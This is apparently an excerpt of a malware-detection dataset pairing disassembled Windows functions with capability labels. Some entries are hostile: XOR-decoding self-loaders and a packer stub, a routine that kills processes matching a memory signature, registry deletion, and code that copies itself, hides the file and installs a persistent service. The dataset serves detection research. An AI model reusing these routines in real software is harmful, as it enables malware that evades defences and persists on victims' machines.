joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40633c
pop dword [ebp - 0x14]
mov eax, 0x53ea4354
sub eax, 0x53a9e018
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf364f709
sub dword [ebp - 0x24], 0xa512b1be
mov dword [ebp - 0x20], 0xe4e0ad26
add dword [ebp - 0x20], 0x4d529f1f
mov dword [ebp - 0x1c], 0x9e66f58c
add dword [ebp - 0x1c], 0xade54ea2
mov dword [ebp - 0x18], 0x362ee26c
add dword [ebp - 0x18], 0xc9d11d94
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xec6d2bc7
add dword [ebp - 0x24], 0x88053d8f
mov dword [ebp - 0x20], 0xabe90e97
sub dword [ebp - 0x20], 0x6a7cad22
mov dword [ebp - 0x1c], 0xd78cc643
sub dword [ebp - 0x1c], 0x741d59d7
mov dword [ebp - 0x18], 0x83f2e59b
sub dword [ebp - 0x18], 0x83f2e59b
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x4355ebdc
sub eax, 0x43157adc
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3b015
push 0
call eax
mov ecx, 0x598c
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x14]
mov esi, 0x588fe550
mov edx, dword [ebx]
sub dword [ebp - 8], 0xcf2756fc
add edx, esi
xor dword [ebp - 4], edx
mov dword [edi], edx
xor dword [ebp - 0xc], ecx
add edi, 0x8e629bf5
sub edi, 0x8e629bf1
add ebx, 4
loop 0x406449
add eax, 0x17e23258
sub eax, 0x17e0d955
xor ebx, ebx
add ebx, eax
add eax, 0xe180e1b
add eax, 0xf1e7f1ea
mov ecx, 0xb9f7766b
add ecx, 0x46488995
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x4093f8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x409407
pop dword [ebp - 0x38]
mov eax, 0x409407
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x596f6ded
sub dword [ebp - 0x48], 0xb1d28a2
mov dword [ebp - 0x44], 0xe4b653c0
add dword [ebp - 0x44], 0x4d7cf885
mov dword [ebp - 0x40], 0x8aea9def
sub dword [ebp - 0x40], 0x3e9e59c1
mov dword [ebp - 0x3c], 0xa05acc24
sub dword [ebp - 0x3c], 0xa05acc24
lea eax, [ebp - 0x48]
push eax
mov eax, 0x538a07f5
add eax, 0xacb6c857
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x8b07db12
add dword [ebp - 0x48], 0xe96a8e44
mov dword [ebp - 0x44], 0xf044d1ff
sub dword [ebp - 0x44], 0xaed8708a
mov dword [ebp - 0x40], 0xa45b81a
add dword [ebp - 0x40], 0x5929b452
mov dword [ebp - 0x3c], 0x21f4e90d
add dword [ebp - 0x3c], 0xde0b16f3
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3e57e
push 0
call eax
mov ecx, 0x5b7a
mov edx, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x38]
mov edi, 0x9f22d692
xor dword [ebp - 0x14], edi
mov esi, dword [ebx]
add esi, edi
mov dword [ebp - 0xc], 0x567ac6f9
mov dword [edx], esi
mov dword [ebp - 0x18], 0x5b5b94f7
add edx, 0x2e50498
add edx, 0xfd1afb6c
add ebx, 0xb6ddba4a
sub ebx, 0xb6ddba46
loop 0x40950d
add eax, 0xdff98ac3
add eax, 0x2007d5f8
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x1f634b15
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x1fe37314
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004035ed
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004035ed
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c3e8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str._6__b_
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str.B__4
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c3e8
lea eax, [ebp - 0x814]
push eax
call fcn.0040c3e8
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push 0x40e034
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40e0c0
call fcn.00407460
xor ebx, ebx
mov dword [esp], str.__n___f_F
push ebx
mov dword [ebp - 0x14], eax
call fcn.004052d3
push ebx
push 0x40fba1
call fcn.00403464
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407370
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c540
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x411970
push ebx
push edi
call fcn.00407310
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x40fba1
call fcn.00403434
push eax
mov dword [ebp - 0x10], eax
call fcn.00407460
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x411970]
push edi
push 0x40e0c0
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x40fdcc
call fcn.00403434
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x4048cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x404906
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x4047fd
push eax
push closesocket
call fcn.00404562
add esp, 0x18
jmp 0x404942
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.00407370
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x404769
push eax
push closesocket
call fcn.004045e0
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a23
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str.H4:0
push eax
call fcn.00407370
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407460
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c5cc
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407370
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a00
inc esi
cmp esi, 0xa
jl 0x404967
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.00407370
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b78
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bb3
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bb3
cmp byte [ecx + 1], 0x5a
jne 0x404bb3
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bb3
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push str.__n___f_F
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str._6__b_
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.B__4
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push str._6__b_
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, str._b4:4:_
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.xt_D
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push str._6__b_
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.B__4
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret